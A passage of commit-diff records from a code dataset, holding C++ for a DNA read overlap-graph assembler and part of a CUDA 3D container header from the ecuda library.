0)\n\t\t\tnonContainedReads[o.read2] = 0;\n\t\telse if (o.ahg < 0 & o.bhg>0)\n\t\t\tnonContainedReads[o.read1] = 0;\n\t}\n}\n\nvoid OverlapGraph::runUnitigging()\n{\n\tint N = reads.size();\n\n\t\n\tinitialize();\n\n\tint *vertexstatus = (int *)malloc(N*sizeof(int));\n\tmemset(vertexstatus, VERTEX_INACTIVE, N*sizeof(int));\n\tvector< vector<bool> > reduceflags(N);\n\n\tfor (int i = 0; i < N; i++)\n\t\tfor (int j = 0; j < graph[i].size(); j++)\n\t\t\treduceflags[i].push_back(false);\n\n\tfor (int I = 0; I < N; I++)\n\t{\n\t\tif (graph[I].size() == 0)\n\t\t\tcontinue;\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t\tvertexstatus[graph[I][j].read2] = VERTEX_ACTIVE;\n\n\t\tint longest = 0;\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tif (graph[I][j].bhg > longest)\n\t\t\t\tlongest = graph[I][j].bhg;\n\t\t}\n\n\t\tlongest += FUZZ;\n\t\tcout << longest << endl;\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tif (vertexstatus[graph[I][j].read2] == VERTEX_ACTIVE)\n\t\t\t{\n\t\t\t\tint x = graph[I][j].read2;\n\t\t\t\tfor (int k = 0; k < graph[x].size(); k++)\n\t\t\t\t{\n\t\t\t\t\tif (graph[I][j].bhg + graph[x][k].bhg <= longest)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (vertexstatus[graph[x][k].read2] == VERTEX_ACTIVE)\n\t\t\t\t\t\t\tvertexstatus[graph[x][k].read2] = VERTEX_ELIMINATED;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tint x = graph[I][j].read2;\n\t\t\tfor (int k = 0; k < graph[x].size(); k++)\n\t\t\t{\n\t\t\t\tif (graph[x][k].bhg < FUZZ)\n\t\t\t\t{\n\t\t\t\t\tif (vertexstatus[graph[x][k].read2] == VERTEX_ACTIVE)\n\t\t\t\t\t\tvertexstatus[graph[x][k].read2] = VERTEX_ELIMINATED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tif (vertexstatus[graph[I][j].read2] == VERTEX_ELIMINATED)\n\t\t\t{\n\t\t\t\treduceflags[I][j] = true;\n\t\t\t}\n\t\t\tvertexstatus[graph[I][j].read2] == VERTEX_INACTIVE;\n\t\t}\n\t}\n\n\tfor(int i=0;i<graph.size();i++)\n    {\n        for(int j=0;j<graph[i].size();j++)\n        {\n\t\t\tif (!reduceflags[i][j] & nonContainedReads[graph[i][j].read1] & nonContainedReads[graph[i][j].read2]){\n\t\t\t\t\/\/ Add edge to the reduced graph\n\t\t\t\treducedGraph[i].push_back(graph[i][j]);\n\t\t\t\tcout << graph[i][j].read1 << \" -> \" << graph[i][j].read2 << endl;\n\t\t\t}\n        }\n    }\n\tuniqueJoinCollapsing();\n\n\tfree(vertexstatus);\n\treturn;\n}\n\nvoid OverlapGraph::printLayouts()\n{\n\tofstream output(\"layouts.afg\");\n\tint *offsets = (int *)malloc(reads.size()*sizeof(int));\n\tmemset(offsets, 0, reads.size()*sizeof(int));\n\n\n\tfor (int i = 0; i < reads.size(); i++)\n\t{\n\t\tfor (int j = 0; j < graph[i].size(); j++)\n\t\t{\n\t\t\toverlap o = graph[i][j];\n\t\t\tif (nonContainedReads[o.read1] & nonContainedReads[o.read2]) {\n\t\t\t\toffsets[o.read2] = offsets[o.read1] + o.ahg;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid OverlapGraph::uniqueJoinCollapsing(){\n\n\treducedGraphVertexReferenceCounter.assign(reducedGraph.size(), 0);\n\n\t\/\/ Calculate references to vertexes\n\tfor (int i = 0; i < reducedGraph.size(); i++){\n\t\tfor (int j = 0; j < reducedGraph[i].size(); j++){\n\t\t\treducedGraphVertexReferenceCounter[reducedGraph[i][j].read2]++;\n\t\t}\n\t}\n\n\t\/\/ Find first \"juncture\" vertex\n\tint startingVertex = 0;\n\tbool startingVertexFound = false;\n\twhile (startingVertex < reducedGraph.size()){\n\t\tif (reducedGraph[startingVertex].size() > 0){\n\t\t\tstartingVertexFound = true;\n\t\t\tbreak;\n\t\t}\n\t\tstartingVertex++;\n\t}\n\tif (startingVertexFound){\n\t\tcalculateChunks(startingVertex);\n\t}\n}\n\nvoid OverlapGraph::calculateChunks(int chunkStartingVertexId){\n\t\n\tint currentVertexId = chunkStartingVertexId;\n\n\tif (vertexAlreadyInChunk(currentVertexId)){\n\t\treturn;\n\t}\n\n\t\/\/ create new chunk\n\tChunk chunk;\n\n\twhile (true){\n\t\tif (reducedGraphVertexReferenceCounter[currentVertexId] > 1 && currentVertexId != chunkStartingVertexId){\n\t\t\t\/\/ special case: juncture vertex (not part of our chunk)\n\t\t\tcalculateChunks(currentVertexId);\n\t\t\tbreak;\n\t\t}\n\n\t\tchunk.members.push_back(currentVertexId);\n\n\t\tif (reducedGraph[currentVertexId].size() < 1){\n\t\t\t\/\/ dead end\n\t\t\tbreak;\n\t\t}\n\n\t\tif (reducedGraph[currentVertexId].size() > 1){\n\t\t\t\/\/ juncture point - each path vertex represents a new chunk start\n\t\t\tfor (int i = 0; i < reducedGraph[currentVertexId].size(); i++){\n\t\t\t\tcalculateChunks(reducedGraph[currentVertexId][i].read2);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcurrentVertexId = reducedGraph[currentVertexId][0].read2;\n\t}\n\tcollapsedReducedGraph.push_back(chunk);\n\n\treturn;\n}\n\n\nbool OverlapGraph::vertexAlreadyInChunk(int vertexId){\n\tfor (int i = 0; i < collapsedReducedGraph.size(); ++i){\n\t\tfor (int j = 0; j < collapsedReducedGraph[i].members.size(); ++j){\n\t\t\tif (vertexId == collapsedReducedGraph[i].members[j]){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n}<commit_msg>printLayouts output<commit_after>#include <vector>\n#include <iostream>\n#include <stdlib.h>\n#include <string.h>\n#include <fstream>\n#include \"overlapgraph.h\"\n\n#define VERTEX_INACTIVE 0\n#define VERTEX_ACTIVE 1\n#define VERTEX_ELIMINATED -1\n#define FUZZ 10\n\nusing namespace std;\n\nOverlapGraph::OverlapGraph(std::vector<std::string> readvector, std::vector<overlap> overlapvector)\n{\n\treads = readvector;\n\toverlaps = overlapvector;\n}\n\nvoid OverlapGraph::initialize()\n{\n\tgraph.resize(reads.size());\n\treducedGraph.resize(reads.size());\n\tnonContainedReads.resize(reads.size());\n\tnonContainedReads.assign(reads.size(), 1);\n\n\tfor(int i=0;i<overlaps.size();i++)\n\t{\n\t\toverlap o = overlaps[i];\n\n\n\t\t\/\/removing contained reads\n\t\tif(o.ahg > 0 & o.bhg > 0)\n\t\t\tgraph[o.read1].push_back(o);\n\t\telse if (o.ahg < 0 & o.bhg < 0)\n\t\t\tgraph[o.read2].push_back(o);\n\t\telse if (o.ahg > 0 & o.bhg < 0)\n\t\t\tnonContainedReads[o.read2] = 0;\n\t\telse if (o.ahg < 0 & o.bhg>0)\n\t\t\tnonContainedReads[o.read1] = 0;\n\t}\n}\n\nvoid OverlapGraph::runUnitigging()\n{\n\tint N = reads.size();\n\n\t\n\tinitialize();\n\n\tint *vertexstatus = (int *)malloc(N*sizeof(int));\n\tmemset(vertexstatus, VERTEX_INACTIVE, N*sizeof(int));\n\tvector< vector<bool> > reduceflags(N);\n\n\tfor (int i = 0; i < N; i++)\n\t\tfor (int j = 0; j < graph[i].size(); j++)\n\t\t\treduceflags[i].push_back(false);\n\n\tfor (int I = 0; I < N; I++)\n\t{\n\t\tif (graph[I].size() == 0)\n\t\t\tcontinue;\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t\tvertexstatus[graph[I][j].read2] = VERTEX_ACTIVE;\n\n\t\tint longest = 0;\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tif (graph[I][j].bhg > longest)\n\t\t\t\tlongest = graph[I][j].bhg;\n\t\t}\n\n\t\tlongest += FUZZ;\n\t\tcout << longest << endl;\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tif (vertexstatus[graph[I][j].read2] == VERTEX_ACTIVE)\n\t\t\t{\n\t\t\t\tint x = graph[I][j].read2;\n\t\t\t\tfor (int k = 0; k < graph[x].size(); k++)\n\t\t\t\t{\n\t\t\t\t\tif (graph[I][j].bhg + graph[x][k].bhg <= longest)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (vertexstatus[graph[x][k].read2] == VERTEX_ACTIVE)\n\t\t\t\t\t\t\tvertexstatus[graph[x][k].read2] = VERTEX_ELIMINATED;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tint x = graph[I][j].read2;\n\t\t\tfor (int k = 0; k < graph[x].size(); k++)\n\t\t\t{\n\t\t\t\tif (graph[x][k].bhg < FUZZ)\n\t\t\t\t{\n\t\t\t\t\tif (vertexstatus[graph[x][k].read2] == VERTEX_ACTIVE)\n\t\t\t\t\t\tvertexstatus[graph[x][k].read2] = VERTEX_ELIMINATED;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor (int j = 0; j < graph[I].size(); j++)\n\t\t{\n\t\t\tif (vertexstatus[graph[I][j].read2] == VERTEX_ELIMINATED)\n\t\t\t{\n\t\t\t\treduceflags[I][j] = true;\n\t\t\t}\n\t\t\tvertexstatus[graph[I][j].read2] == VERTEX_INACTIVE;\n\t\t}\n\t}\n\n\tfor(int i=0;i<graph.size();i++)\n    {\n        for(int j=0;j<graph[i].size();j++)\n        {\n\t\t\tif (!reduceflags[i][j] & nonContainedReads[graph[i][j].read1] & nonContainedReads[graph[i][j].read2]){\n\t\t\t\t\/\/ Add edge to the reduced graph\n\t\t\t\treducedGraph[i].push_back(graph[i][j]);\n\t\t\t\tcout << graph[i][j].read1 << \" -> \" << graph[i][j].read2 << endl;\n\t\t\t}\n        }\n    }\n\tuniqueJoinCollapsing();\n\n\tfree(vertexstatus);\n\treturn;\n}\n\nvoid OverlapGraph::printLayouts()\n{\n\tofstream output(\"layouts.afg\");\n\tint *offsets = (int *)malloc(reads.size()*sizeof(int));\n\tmemset(offsets, 0, reads.size()*sizeof(int));\n\n\n\tfor (int i = 0; i < reads.size(); i++)\n\t{\n\t\tfor (int j = 0; j < graph[i].size(); j++)\n\t\t{\n\t\t\toverlap o = graph[i][j];\n\t\t\tif (nonContainedReads[o.read1] & nonContainedReads[o.read2]) {\n\t\t\t\toffsets[o.read2] = offsets[o.read1] + o.ahg;\n\t\t\t}\n\t\t}\n\t}\n\n\toutput << \"{LAY\" << endl;\n\tfor (int i = 0; i < reads.size(); i++)\n\t{\n\t\t\n\t}\n}\n\nvoid OverlapGraph::uniqueJoinCollapsing(){\n\n\treducedGraphVertexReferenceCounter.assign(reducedGraph.size(), 0);\n\n\t\/\/ Calculate references to vertexes\n\tfor (int i = 0; i < reducedGraph.size(); i++){\n\t\tfor (int j = 0; j < reducedGraph[i].size(); j++){\n\t\t\treducedGraphVertexReferenceCounter[reducedGraph[i][j].read2]++;\n\t\t}\n\t}\n\n\t\/\/ Find first \"juncture\" vertex\n\tint startingVertex = 0;\n\tbool startingVertexFound = false;\n\twhile (startingVertex < reducedGraph.size()){\n\t\tif (reducedGraph[startingVertex].size() > 0){\n\t\t\tstartingVertexFound = true;\n\t\t\tbreak;\n\t\t}\n\t\tstartingVertex++;\n\t}\n\tif (startingVertexFound){\n\t\tcalculateChunks(startingVertex);\n\t}\n}\n\nvoid OverlapGraph::calculateChunks(int chunkStartingVertexId){\n\t\n\tint currentVertexId = chunkStartingVertexId;\n\n\tif (vertexAlreadyInChunk(currentVertexId)){\n\t\treturn;\n\t}\n\n\t\/\/ create new chunk\n\tChunk chunk;\n\n\twhile (true){\n\t\tif (reducedGraphVertexReferenceCounter[currentVertexId] > 1 && currentVertexId != chunkStartingVertexId){\n\t\t\t\/\/ special case: juncture vertex (not part of our chunk)\n\t\t\tcalculateChunks(currentVertexId);\n\t\t\tbreak;\n\t\t}\n\n\t\tchunk.members.push_back(currentVertexId);\n\n\t\tif (reducedGraph[currentVertexId].size() < 1){\n\t\t\t\/\/ dead end\n\t\t\tbreak;\n\t\t}\n\n\t\tif (reducedGraph[currentVertexId].size() > 1){\n\t\t\t\/\/ juncture point - each path vertex represents a new chunk start\n\t\t\tfor (int i = 0; i < reducedGraph[currentVertexId].size(); i++){\n\t\t\t\tcalculateChunks(reducedGraph[currentVertexId][i].read2);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tcurrentVertexId = reducedGraph[currentVertexId][0].read2;\n\t}\n\tcollapsedReducedGraph.push_back(chunk);\n\n\treturn;\n}\n\n\nbool OverlapGraph::vertexAlreadyInChunk(int vertexId){\n\tfor (int i = 0; i < collapsedReducedGraph.size(); ++i){\n\t\tfor (int j = 0; j < collapsedReducedGraph[i].members.size(); ++j){\n\t\t\tif (vertexId == collapsedReducedGraph[i].members[j]){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>VS 2015 seems to support this-qualifiers, so we use them<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (c) 2014, Scott Zuyderduyn\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nThe views and conclusions contained in the software and documentation are those\nof the authors and should not be interpreted as representing official policies,\neither expressed or implied, of the FreeBSD Project.\n*\/\n\n\/\/----------------------------------------------------------------------------\n\/\/ cube.hpp\n\/\/ An STL-like structure that resides in video memory.\n\/\/\n\/\/ Author: Scott D. Zuyderduyn, Ph.D. (scott.zuyderduyn@utoronto.ca)\n\/\/----------------------------------------------------------------------------\n#pragma once\n#ifndef ECUDA_CUBE_HPP\n#define ECUDA_CUBE_HPP\n\n#include <limits>\n#include <vector>\n#include <estd\/cube.hpp>\n#include \"global.hpp\"\n#include \"containers.hpp\"\n\/\/#include \"iterators.hpp\"\n#include \"matrix.hpp\"\n#include \"memory.hpp\"\n\nnamespace ecuda {\n\ntemplate<typename T>\nclass cube {\n\npublic:\n\ttypedef T value_type;\n\ttypedef T* pointer;\n\ttypedef const T* const_pointer;\n\ttypedef T& reference;\n\ttypedef const T& const_reference;\n\ttypedef std::ptrdiff_t difference_type;\n\ttypedef std::size_t size_type;\n\n\ttypedef ecuda::OffsettingContainer< cube<T> > xy_type;\n\ttypedef ecuda::OffsettingContainer< cube<T> > xz_type;\n\ttypedef ecuda::OffsettingContainer< cube<T> > yz_type;\n\ttypedef const ecuda::OffsettingContainer< const cube<T>, size_type, const_pointer > const_xy_type;\n\ttypedef const ecuda::OffsettingContainer< const cube<T>, size_type, const_pointer > const_xz_type;\n\ttypedef const ecuda::OffsettingContainer< const cube<T>, size_type, const_pointer > const_yz_type;\n\n\ttypedef ecuda::CubeSliceContainer< cube<T>, size_type, pointer > matrix_type;\n\ttypedef const ecuda::CubeSliceContainer< const cube<T>, size_type, const_pointer > const_matrix_type;\n\nprivate:\n\t\/\/ REMEMBER: numberRows, numberColumns, numberDepths and pitch altered on device memory won't be\n\t\/\/           reflected on the host object. Don't allow the device to perform any operations that\n\t\/\/           change their value.\n\tsize_type numberRows;\n\tsize_type numberColumns;\n\tsize_type numberDepths;\n\tsize_type pitch;\n\tdevice_ptr<T> deviceMemory;\n\t\/\/unique_ptr< matrix<T>[] > matrices;\n\npublic:\n\tHOST cube( const size_type numberRows=0, const size_type numberColumns=0, const size_type numberDepths=0, const T& value = T() ) : numberRows(numberRows), numberColumns(numberColumns), numberDepths(numberDepths) {\n\t\tif( numberRows and numberColumns and numberDepths ) {\n\t\t\tCUDA_CALL( cudaMallocPitch( deviceMemory.alloc_ptr(), &pitch, numberColumns*numberDepths*sizeof(T), numberRows ) );\n\t\t\tstd::vector<T> v( numberColumns*numberDepths, value );\n\t\t\tfor( size_t i = 0; i < numberRows; ++i )\n\t\t\t\tCUDA_CALL( cudaMemcpy2D( deviceMemory.get()+(i*pitch\/sizeof(T)), numberColumns*numberDepths*sizeof(T), &v[0], numberColumns*numberDepths*sizeof(T), numberColumns*numberDepths*sizeof(T), 1, cudaMemcpyHostToDevice ) );\n\t\t}\n\t}\n\tHOST DEVICE cube( const cube<T>& src ) : numberRows(src.numberRows), numberColumns(src.numberColumns), numberDepths(src.numberDepths), pitch(src.pitch), deviceMemory(src.deviceMemory) {}\n\ttemplate<typename U,typename V,typename W>\n\tHOST cube( const estd::cube<T,U,V,W>& src ) : numberRows(src.row_size()), numberColumns(src.column_size()), numberDepths(src.depth_size()) {\n\t\tif( numberRows and numberColumns and numberDepths ) {\n\t\t\tCUDA_CALL( cudaMallocPitch( deviceMemory.alloc_ptr(), &pitch, numberColumns*numberDepths*sizeof(T), numberRows ) );\n\t\t\tfor( size_t i = 0; i < numberRows; ++i ) {\n\t\t\t\tstd::vector<T> v; v.reserve( numberColumns*numberDepths );\n\t\t\t\tfor( size_t j = 0; j < numberColumns; ++j )\n\t\t\t\t\tfor( size_t k = 0; k < numberDepths; ++k )\n\t\t\t\t\t\tv.push_back( src[i][j][k] );\n\t\t\t\tCUDA_CALL( cudaMemcpy2D( deviceMemory.get()+(i*pitch\/sizeof(T)), numberColumns*numberDepths*sizeof(T), &v[0], numberColumns*numberDepths*sizeof(T), numberColumns*numberDepths*sizeof(T), 1, cudaMemcpyHostToDevice ) );\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ capacity:\n\tHOST DEVICE inline size_type row_size() const __NOEXCEPT__ { return numberRows; }\n\tHOST DEVICE inline size_type column_size() const __NOEXCEPT__ { return numberColumns; }\n\tHOST DEVICE inline size_type depth_size() const __NOEXCEPT__ { return numberDepths; }\n\tHOST DEVICE inline size_type get_pitch() const { return pitch; }\n\tHOST DEVICE inline size_type size() const __NOEXCEPT__ { return row_size()*column_size()*depth_size(); }\n\tHOST DEVICE inline bool empty() const __NOEXCEPT__ { return !size(); }\n\n\t\/\/ element access:\n\tDEVICE inline reference at( const size_type rowIndex, const size_type columnIndex, const size_type depthIndex ) { return *(deviceMemory.get()+(rowIndex*pitch\/sizeof(T)+columnIndex*numberDepths+depthIndex)); }\n\tDEVICE inline reference at( const size_type index ) { return at( index\/(numberColumns*numberDepths), (index % (numberColumns*numberDepths))\/numberDepths, (index % (numberColumns*numberDepths)) % numberDepths ); }\n\tDEVICE inline const_reference at( const size_type rowIndex, const size_type columnIndex, const size_type depthIndex ) const { return *(deviceMemory.get()+(rowIndex*pitch\/sizeof(T)+columnIndex*numberDepths+depthIndex)); }\n\tDEVICE inline const_reference at( const size_type index ) const { return at( index\/(numberColumns*numberDepths), (index % (numberColumns*numberDepths))\/numberDepths, (index % (numberColumns*numberDepths)) % numberDepths ); }\n\tHOST DEVICE inline pointer data() __NOEXCEPT__ { return deviceMemory.get(); }\n\tHOST DEVICE inline const_pointer data() const __NOEXCEPT__ { return deviceMemory.get(); }\n\n\tHOST DEVICE inline matrix_type get_row( const size_type rowIndex ) { return matrix_type( *this, rowIndex ); }\n\tHOST DEVICE inline const_matrix_type get_row( const size_type rowIndex ) const { return const_matrix_type( *this, rowIndex ); }\n\tHOST DEVICE inline matrix_type operator[]( const size_type rowIndex ) { return get_row(rowIndex); }\n\tHOST DEVICE inline const_matrix_type operator[]( const size_type rowIndex ) const { return get_row(rowIndex); }\n\n\t\/\/xy_type get_xy( const RowIndexType x, const ColumnIndexType y ) { return contents[x].get_row(y); }\n\t\/\/xz_type get_xz( const RowIndexType x, const DepthIndexType z ) { return contents[x].get_column(z); }\n\t\/\/yz_type get_yz( const ColumnIndexType y, const DepthIndexType z ) {\treturn OffsettingContainer< cube<CellType,RowIndexType,ColumnIndexType,DepthIndexType> >( *this, row_size(), y*depth_size()+z, column_size()*depth_size() ); }\n\t\/\/const_xy_type get_xy( const RowIndexType x, const ColumnIndexType y ) const { return contents[x].get_row(y); }\n\t\/\/const_xz_type get_xz( const RowIndexType x, const DepthIndexType z ) const { return contents[x].get_column(z); }\n\t\/\/const_yz_type get_yz( const ColumnIndexType y, const DepthIndexType z ) const { return OffsettingContainer< const cube<CellType,RowIndexType,ColumnIndexType,DepthIndexType> >( *this, row_size(), y*depth_size()+z, column_size()*depth_size() ); }\n\n\ttemplate<typename U,typename V,typename W>\n\tHOST cube<T>& operator>>( estd::cube<T,U,V,W>& dest ) {\n\t\tdest.resize( static_cast<U>(numberRows), static_cast<V>(numberColumns), static_cast<W>(numberDepths) );\n\t\tfor( size_type i = 0; i < numberRows; ++i ) operator[](i) >> dest[i];\n\t\treturn *this;\n\t}\n\n};\n\n} \/\/ namespace ecuda\n\n#endif\n\n<commit_msg>added note about non-functional device-to-host cube transfer<commit_after>\/*\nCopyright (c) 2014, Scott Zuyderduyn\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nThe views and conclusions contained in the software and documentation are those\nof the authors and should not be interpreted as representing official policies,\neither expressed or implied, of the FreeBSD Project.\n*\/\n\n\/\/----------------------------------------------------------------------------\n\/\/ cube.hpp\n\/\/ An STL-like structure that resides in video memory.\n\/\/\n\/\/ Author: Scott D. Zuyderduyn, Ph.D. (scott.zuyderduyn@utoronto.ca)\n\/\/----------------------------------------------------------------------------\n#pragma once\n#ifndef ECUDA_CUBE_HPP\n#define ECUDA_CUBE_HPP\n\n#include <limits>\n#include <vector>\n#include <estd\/cube.hpp>\n#include \"global.hpp\"\n#include \"containers.hpp\"\n\/\/#include \"iterators.hpp\"\n#include \"matrix.hpp\"\n#include \"memory.hpp\"\n\nnamespace ecuda {\n\ntemplate<typename T>\nclass cube {\n\npublic:\n\ttypedef T value_type;\n\ttypedef T* pointer;\n\ttypedef const T* const_pointer;\n\ttypedef T& reference;\n\ttypedef const T& const_reference;\n\ttypedef std::ptrdiff_t difference_type;\n\ttypedef std::size_t size_type;\n\n\ttypedef ecuda::OffsettingContainer< cube<T> > xy_type;\n\ttypedef ecuda::OffsettingContainer< cube<T> > xz_type;\n\ttypedef ecuda::OffsettingContainer< cube<T> > yz_type;\n\ttypedef const ecuda::OffsettingContainer< const cube<T>, size_type, const_pointer > const_xy_type;\n\ttypedef const ecuda::OffsettingContainer< const cube<T>, size_type, const_pointer > const_xz_type;\n\ttypedef const ecuda::OffsettingContainer< const cube<T>, size_type, const_pointer > const_yz_type;\n\n\ttypedef ecuda::CubeSliceContainer< cube<T>, size_type, pointer > matrix_type;\n\ttypedef const ecuda::CubeSliceContainer< const cube<T>, size_type, const_pointer > const_matrix_type;\n\nprivate:\n\t\/\/ REMEMBER: numberRows, numberColumns, numberDepths and pitch altered on device memory won't be\n\t\/\/           reflected on the host object. Don't allow the device to perform any operations that\n\t\/\/           change their value.\n\tsize_type numberRows;\n\tsize_type numberColumns;\n\tsize_type numberDepths;\n\tsize_type pitch;\n\tdevice_ptr<T> deviceMemory;\n\t\/\/unique_ptr< matrix<T>[] > matrices;\n\npublic:\n\tHOST cube( const size_type numberRows=0, const size_type numberColumns=0, const size_type numberDepths=0, const T& value = T() ) : numberRows(numberRows), numberColumns(numberColumns), numberDepths(numberDepths) {\n\t\tif( numberRows and numberColumns and numberDepths ) {\n\t\t\tCUDA_CALL( cudaMallocPitch( deviceMemory.alloc_ptr(), &pitch, numberColumns*numberDepths*sizeof(T), numberRows ) );\n\t\t\tstd::vector<T> v( numberColumns*numberDepths, value );\n\t\t\tfor( size_t i = 0; i < numberRows; ++i )\n\t\t\t\tCUDA_CALL( cudaMemcpy2D( deviceMemory.get()+(i*pitch\/sizeof(T)), numberColumns*numberDepths*sizeof(T), &v[0], numberColumns*numberDepths*sizeof(T), numberColumns*numberDepths*sizeof(T), 1, cudaMemcpyHostToDevice ) );\n\t\t}\n\t}\n\tHOST DEVICE cube( const cube<T>& src ) : numberRows(src.numberRows), numberColumns(src.numberColumns), numberDepths(src.numberDepths), pitch(src.pitch), deviceMemory(src.deviceMemory) {}\n\ttemplate<typename U,typename V,typename W>\n\tHOST cube( const estd::cube<T,U,V,W>& src ) : numberRows(src.row_size()), numberColumns(src.column_size()), numberDepths(src.depth_size()) {\n\t\tif( numberRows and numberColumns and numberDepths ) {\n\t\t\tCUDA_CALL( cudaMallocPitch( deviceMemory.alloc_ptr(), &pitch, numberColumns*numberDepths*sizeof(T), numberRows ) );\n\t\t\tfor( size_t i = 0; i < numberRows; ++i ) {\n\t\t\t\tstd::vector<T> v; v.reserve( numberColumns*numberDepths );\n\t\t\t\tfor( size_t j = 0; j < numberColumns; ++j )\n\t\t\t\t\tfor( size_t k = 0; k < numberDepths; ++k )\n\t\t\t\t\t\tv.push_back( src[i][j][k] );\n\t\t\t\tCUDA_CALL( cudaMemcpy2D( deviceMemory.get()+(i*pitch\/sizeof(T)), numberColumns*numberDepths*sizeof(T), &v[0], numberColumns*numberDepths*sizeof(T), numberColumns*numberDepths*sizeof(T), 1, cudaMemcpyHostToDevice ) );\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ capacity:\n\tHOST DEVICE inline size_type row_size() const __NOEXCEPT__ { return numberRows; }\n\tHOST DEVICE inline size_type column_size() const __NOEXCEPT__ { return numberColumns; }\n\tHOST DEVICE inline size_type depth_size() const __NOEXCEPT__ { return numberDepths; }\n\tHOST DEVICE inline size_type get_pitch() const { return pitch; }\n\tHOST DEVICE inline size_type size() const __NOEXCEPT__ { return row_size()*column_size()*depth_size(); }\n\tHOST DEVICE inline bool empty() const __NOEXCEPT__ { return !size(); }\n\n\t\/\/ element access:\n\tDEVICE inline reference at( const size_type rowIndex, const size_type columnIndex, const size_type depthIndex ) { return *(deviceMemory.get()+(rowIndex*pitch\/sizeof(T)+columnIndex*numberDepths+depthIndex)); }\n\tDEVICE inline reference at( const size_type index ) { return at( index\/(numberColumns*numberDepths), (index % (numberColumns*numberDepths))\/numberDepths, (index % (numberColumns*numberDepths)) % numberDepths ); }\n\tDEVICE inline const_reference at( const size_type rowIndex, const size_type columnIndex, const size_type depthIndex ) const { return *(deviceMemory.get()+(rowIndex*pitch\/sizeof(T)+columnIndex*numberDepths+depthIndex)); }\n\tDEVICE inline const_reference at( const size_type index ) const { return at( index\/(numberColumns*numberDepths), (index % (numberColumns*numberDepths))\/numberDepths, (index % (numberColumns*numberDepths)) % numberDepths ); }\n\tHOST DEVICE inline pointer data() __NOEXCEPT__ { return deviceMemory.get(); }\n\tHOST DEVICE inline const_pointer data() const __NOEXCEPT__ { return deviceMemory.get(); }\n\n\tHOST DEVICE inline matrix_type get_row( const size_type rowIndex ) { return matrix_type( *this, rowIndex ); }\n\tHOST DEVICE inline const_matrix_type get_row( const size_type rowIndex ) const { return const_matrix_type( *this, rowIndex ); }\n\tHOST DEVICE inline matrix_type operator[]( const size_type rowIndex ) { 